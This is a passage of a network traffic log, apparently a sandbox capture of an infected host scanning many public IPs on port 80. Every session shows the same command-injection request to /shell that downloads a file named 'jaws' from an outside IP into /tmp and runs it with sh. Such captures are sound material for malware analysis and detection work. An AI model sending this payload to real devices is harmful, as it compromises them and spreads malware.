Jun 1, 2024 18:15:53.238079071 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	58212	78.247.12.109	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238107920 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	56838	117.200.77.204	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238152981 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	39456	107.165.24.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238204956 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	44946	81.37.220.40	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238244057 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	55598	43.221.116.139	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238281965 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	59816	37.168.229.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238312006 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	51142	149.127.43.235	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238346100 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	42178	41.79.241.72	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238377094 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	39486	202.24.92.234	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238429070 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	44104	145.100.188.83	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238456964 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	34700	202.238.8.254	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238498926 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	56756	174.194.105.235	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238571882 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	55292	140.5.76.153	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238605976 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	35842	83.231.82.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238658905 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	47264	57.222.230.206	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238699913 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	52794	128.101.239.153	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238729954 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	58574	45.5.242.217	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238770008 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	34108	204.167.44.181	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238817930 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	34456	194.252.4.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238850117 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	42554	68.39.123.219	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238878965 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	49564	95.237.237.156	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238939047 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	58070	186.28.217.117	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238956928 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	58076	142.5.237.169	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.238996029 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	51510	205.249.54.111	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239032030 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	44372	117.241.145.89	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239114046 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	36520	72.194.176.69	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239147902 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	46058	51.243.182.171	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239284992 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	52812	41.59.82.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239312887 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	50980	212.199.183.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239332914 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	37288	41.62.241.247	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239377022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	54284	110.176.150.43	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239412069 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	34360	92.228.245.159	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239526987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	56234	95.239.226.123	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239557028 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	51050	108.85.135.218	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239595890 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	40992	52.206.114.48	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239684105 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	60104	58.199.54.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239739895 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	50078	129.193.114.98	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239780903 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	44778	25.87.20.30	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239819050 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	54416	146.97.242.87	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239856005 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	54180	222.84.171.34	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239886999 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	36546	196.44.130.154	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239928961 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	38194	48.234.108.156	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239960909 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	32914	45.238.94.61	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.239990950 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	55394	12.95.201.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240024090 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	51500	187.75.110.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240061998 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	33834	106.16.15.220	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240081072 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	47714	204.135.242.117	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240112066 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	39420	31.70.83.31	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240154028 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	37886	154.1.74.103	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240199089 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	34922	158.4.130.100	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240242004 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	33706	187.205.139.84	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240366936 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	49442	124.60.75.137	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240394115 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	34260	105.120.208.242	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240427017 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	37714	206.121.1.240	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240463018 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	50218	159.209.163.86	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240504980 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	54536	197.114.181.205	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240540981 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	40758	136.107.130.201	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240581989 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	50846	50.8.69.255	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240725994 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	56784	162.133.179.162	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240756989 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	33210	155.78.6.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240793943 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	40970	113.32.208.233	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240843058 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	39732	128.151.195.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240885973 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	33878	112.152.48.8	80

Timestamp	Bytes transferred	Direction	Data
